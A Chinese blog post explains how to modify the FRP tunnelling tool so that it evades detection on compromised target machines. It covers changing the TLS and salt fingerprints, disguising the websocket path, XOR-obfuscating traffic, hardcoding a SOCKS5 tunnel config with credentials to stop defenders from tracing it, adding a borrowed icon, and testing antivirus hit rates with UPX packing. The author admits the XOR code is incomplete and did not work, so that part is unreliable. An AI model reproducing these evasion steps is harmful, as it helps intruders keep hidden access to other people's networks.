修改FRP

Last updated on 7 months ago

环境

Platform:Kali Linux

Editor:IEDA(Golang)

Go Version:Go1.16


下载master分支源码,建议通过git clone方式。IEDA打开。https://github.com/fatedier/frp/tree/master

注:以下使用的frp版本0.36.2的源码,其他版理论上也是可以用的。

改改标识

全局查找替换:json:",可自行替换为其他字符。

修改默认加密salt

cmd/frpc/main.gocmd/frps/main.go

1
2
3
4
5
6
func main() {
crypto.DefaultSalt = "sc.frp"
rand.Seed(time.Now().UnixNano())

sub.Execute()
}

修改tls协议默认特征

pkg/util/net/tls.go

不好截图,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package net

import (
"crypto/tls"
"fmt"
"net"
"time"

gnet "github.com/fatedier/golib/net"
)

var (
FRPTLSHeadByte = 0x10
)

func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) {
c.Write([]byte{byte(FRPTLSHeadByte), byte(0x61), byte(0x62)})
out = tls.Client(c, tlsConfig)
return
}

func CheckAndEnableTLSServerConnWithTimeout(c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration) (out net.Conn, err error) {
sc, r := gnet.NewSharedConnSize(c, 4)
buf := make([]byte, 3)
var n int
c.SetReadDeadline(time.Now().Add(timeout))
n, err = r.Read(buf)
c.SetReadDeadline(time.Time{})
if err != nil {
return
}
if n == 3 && int(buf[0]) == FRPTLSHeadByte {
out = tls.Server(c, tlsConfig)
} else {
if tlsOnly {
err = fmt.Errorf("non-TLS connection received on a TlsOnly server")
return
}
out = sc
}
return
}

修改websocket连接特征

这一步可忽略,就当前来说websocket不常用。

pkg/util/net/websocket.go 19行:

1
2
3
const (
FrpWebsocketPath = "/login/?src=pcw_home&destUrl=https://www.360.cn"
)

WSS加域前置?

改了编译不出来,全是报错?暂时放弃。

修改读写逻辑,异或混淆字符

pkg/msg/ctl.go

注:感觉原文 https://www.notion.so/FRP-d3673da19ec74a8781c020bbea883fa2

这部分的代码没给全,编译后的frp使用有问题,连接不了… 后面还是得用原来的,不做修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package msg

import (
"io"
"reflect"

jsonMsg "github.com/fatedier/golib/msg/json"
)

type Message = jsonMsg.Message

var (
msgCtl *jsonMsg.MsgCtl
xor = byte(0xaa)
typeMap = make(map[byte]reflect.Type)
maxMsgLength int64 = 10240
)

func bytesXor(buffer []byte) {
for i, v := range buffer {
buffer[i] = v ^ xor
}
}

func readMsg(c io.Reader) (typeByte byte, buffer []byte, err error) {
buffer = make([]byte, 1)
_, err = c.Read(buffer)
if err != nil {
return
}
typeByte = buffer[0] ^ xor
if _, ok := typeMap[typeByte]; !ok {
return
}

var _ int64
buffer = make([]byte, 8)
c.Read(buffer)
bytesXor(buffer)
return
}

func init() {
msgCtl = jsonMsg.NewMsgCtl()
for typeByte, msg := range msgTypeMap {
msgCtl.RegisterMsg(typeByte, msg)
}
}

func ReadMsg(c io.Reader) (msg Message, err error) {
typeByte, buffer, err := readMsg(c)
if err != nil {
return
}
return msgCtl.UnPack(typeByte, buffer)
}

func ReadMsgInto(c io.Reader, msg Message) (err error) {
_, buffer, err := readMsg(c)
if err != nil {
return
}
return msgCtl.UnPackInto(buffer, msg)
}

func WriteMsg(c io.Writer, msg interface{}) (err error) {
buffer, err := msgCtl.Pack(msg)
if err != nil {
return
}
bytesXor(buffer)
if _, err = c.Write(buffer); err != nil {
return
}
return nil
}

编译打包

只编译当前平台frp:

1
2
3
4
rm -rf ./release/packages
mkdir -p ./release/packages
go build -ldflags "-s -w" -o ./release/frpc ./cmd/frpc
go build -ldflags "-s -w" -o ./release/frps ./cmd/frps

交叉编译常用平台,以下只编译Win、Mac、Linux x86和x64。

package.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# compile for version
make
if [ $? -ne 0 ]; then
echo "make error"
exit 1
fi

frp_version=`./bin/frps --version`
echo "build version: $frp_version"

make -f ./Makefile.cross-compiles

rm -rf ./release/packages
mkdir -p ./release/packages

os_all='linux windows darwin'
arch_all='386 amd64'

cd ./release

for os in $os_all; do
for arch in $arch_all; do
frp_dir_name="frp_${frp_version}_${os}_${arch}"
frp_path="./packages/frp_${frp_version}_${os}_${arch}"

if [ "x${os}" = x"windows" ]; then
if [ ! -f "./frpc_${os}_${arch}.exe" ]; then
continue
fi
if [ ! -f "./frps_${os}_${arch}.exe" ]; then
continue
fi
mkdir ${frp_path}
mv ./frpc_${os}_${arch}.exe ${frp_path}/frpc.exe
mv ./frps_${os}_${arch}.exe ${frp_path}/frps.exe
else
if [ ! -f "./frpc_${os}_${arch}" ]; then
continue
fi
if [ ! -f "./frps_${os}_${arch}" ]; then
continue
fi
mkdir ${frp_path}
mv ./frpc_${os}_${arch} ${frp_path}/frpc
mv ./frps_${os}_${arch} ${frp_path}/frps
fi
cp ../LICENSE ${frp_path}
cp -rf ../conf/* ${frp_path}

# packages
cd ./packages
if [ "x${os}" = x"windows" ]; then
zip -rq ${frp_dir_name}.zip ${frp_dir_name}
else
tar -zcf ${frp_dir_name}.tar.gz ${frp_dir_name}
fi
cd ..
rm -rf ${frp_path}
done
done

cd -

1
zsh ./package.sh

后续1:把配置写入源码食用方式

通常情况frp的运行程序要跟连接配置文件 frpc/s.ini一起传到目标机上运行。在某些情况下,如HVV时,可能会被其他师傅直接反日。 为了防止或者减少被直接"反打",把配置写死在代码中可以在一定程度上避免泄露配置信息。

frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = 192.168.176.128
server_port = 6666
token = U2VjZGUwIA0K
tls_enable = true
[http_proxy]
type = tcp
remote_port = 23333
plugin = socks5
plugin_user = Secde0
plugin_passwd = Swcde0!
use_encryption = true

要修改这几个文件:

1
2
3
4
cmd/frpc/sub/root.go
cmd/frpc/sub/status.go
cmd/frpc/sub/reload.go

root.go

在var()中新建个变量保存配置内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fileContent = `
[common]
server_addr = 192.168.176.128
server_port = 6666
token = U2VjZGUwIA0K
tls_enable = true
[http_proxy]
type = tcp
remote_port = 23333
plugin = socks5
plugin_user = Secde0
plugin_passwd = Swcde0!
use_encryption = true
`

status.go

注释 41-45行,把 fileContent赋值给iniContent ,注意要转为byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var statusCmd = &cobra.Command{
Use: "status",
Short: "Overview of all proxies status",
RunE: func(cmd *cobra.Command, args []string) error {
//iniContent, err := config.GetRenderedConfFromFile(cfgFile)
//if err != nil {
// fmt.Println(err)
// os.Exit(1)
//}
iniContent := fileContent

clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, []byte(iniContent))
.......
return nil
},
}

reload.go

注释 37-41行,把 fileContent赋值给iniContent ,注意要转为byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var reloadCmd = &cobra.Command{
Use: "reload",
Short: "Hot-Reload frpc configuration",
RunE: func(cmd *cobra.Command, args []string) error {
//iniContent, err := config.GetRenderedConfFromFile(cfgFile)
//if err != nil {
// fmt.Println(err)
// os.Exit(1)
//}
iniContent := fileContent

clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, []byte(iniContent))
........
return nil
},
}

再回到root.go 文件runClient方法,注释198行(未改动时应该在184行),然后新增一行:

1
content, err = []byte(fileContent), nil

重新编译,运行:

后续2:通过参数传入食用方法

参照 https://uknowsec.cn/posts/notes/FRP改造计划.html 【frpc.ini的ip通过参数传入】中的步骤进行修改。

:需要使用Jack-Kingdom提供源码进行修改,不能使用官方的,否则无法编译?

Changfrp:https://github.com/Jack-Kingdom/frp/tree/4a5c9a8796701472037c979b467c6a9ea449fd62

定义传参

编辑cmd/frpc/root.go

var()中创建4个变量,然后修改 init() 方法,传参:

1
2
3
rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")
rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")
rootCmd.PersistentFlags().StringVarP(&fport, "remote_port", "f", "", "remote_port")

创建存放配置信息的方法

编辑:cmd/frpc/sub/root.go ,新增 getFileContent函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func getFileContent(ip string, port string, fport string) {
var content string = `
[common]
server_addr = ` + ip + `
server_port = ` + port + `
tls_enable = true
token = Secde0666
[http_proxy]
type = tcp
remote_port = ` + fport + `
plugin = socks5
`
fileContent = content
}

修改runClient函数,传入参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func runClient(cfgFilePath string, ip string, port string, fport string) (err error) {
var content string
getFileContent(ip, port, fport)
//content, err = config.GetRenderedConfFromFile(cfgFilePath)
content, err = fileContent, nil
if err != nil {
return
}

cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
if err != nil {
return
}

pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
if err != nil {
return err
}

err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
return
}

同一文件,100行附近 var rootCmd = &cobra.Command 中调用了runClient(),需要修改传入参数:

编译打包

package.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# compile for version
make
if [ $? -ne 0 ]; then
echo "make error"
exit 1
fi

frp_version=`./bin/frps --version`
echo "build version: $frp_version"

# cross_compiles
make -f ./Makefile.cross-compiles

rm -rf ./release/packages
mkdir -p ./release/packages

os_all='linux windows darwin freebsd'
arch_all='386 amd64 arm arm64 mips64 mips64le mips mipsle'

cd ./release

for os in $os_all; do
for arch in $arch_all; do
frp_dir_name="frp_${frp_version}_${os}_${arch}"
frp_path="./packages/frp_${frp_version}_${os}_${arch}"
cd ..
rm -rf ${frp_path}
done
done

cd -

使用:frpc -t 服务端IP -p 通讯端口 -f 代理使用端口

1
./frpc -t 192.168.176.128 -p 7777 -f 9999

后续3:加资源/图标混淆?

Restorator 加个图标,图标可以用 BeCyIconGrabber 从其他软件提取出来。

提取图标:

打开Restorator ,拖入frp到资源树栏,添加资源,类型选图标,名称任意,拖入图标文件到下图【wps】中。

然后右键软件另存即可。

后续4:UPX压缩减小体积?

@Secde0大佬说:别压缩了,有些文件超过10m反而直接放行了,小的被拦截概率大。我不信,上upx压缩后,用010Editor,删除一下头部标识:upx全部填充为0:

eemm,压缩后确实加大查杀率了…

1为不压缩、5为upx压缩、4为压缩+改标识

试验

就不捉流量看指纹了,直接测试修改后是否正常可用。

linu to Linux

Windows to Linux

Reference

https://www.anquanke.com/post/id/231685

https://www.notion.so/FRP-d3673da19ec74a8781c020bbea883fa2

https://www.cnblogs.com/cwkiller/p/14108589.html

https://uknowsec.cn/posts/notes/FRP改造计划.html

https://github.com/fatedier/frp/pull/1919/files

https://uknowsec.cn/posts/notes/FRP改造计划续.html


修改FRP
https://guosec.online/posts/f3a0015a.html
Posted on
May 14, 2021
Updated on
June 24, 2023
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!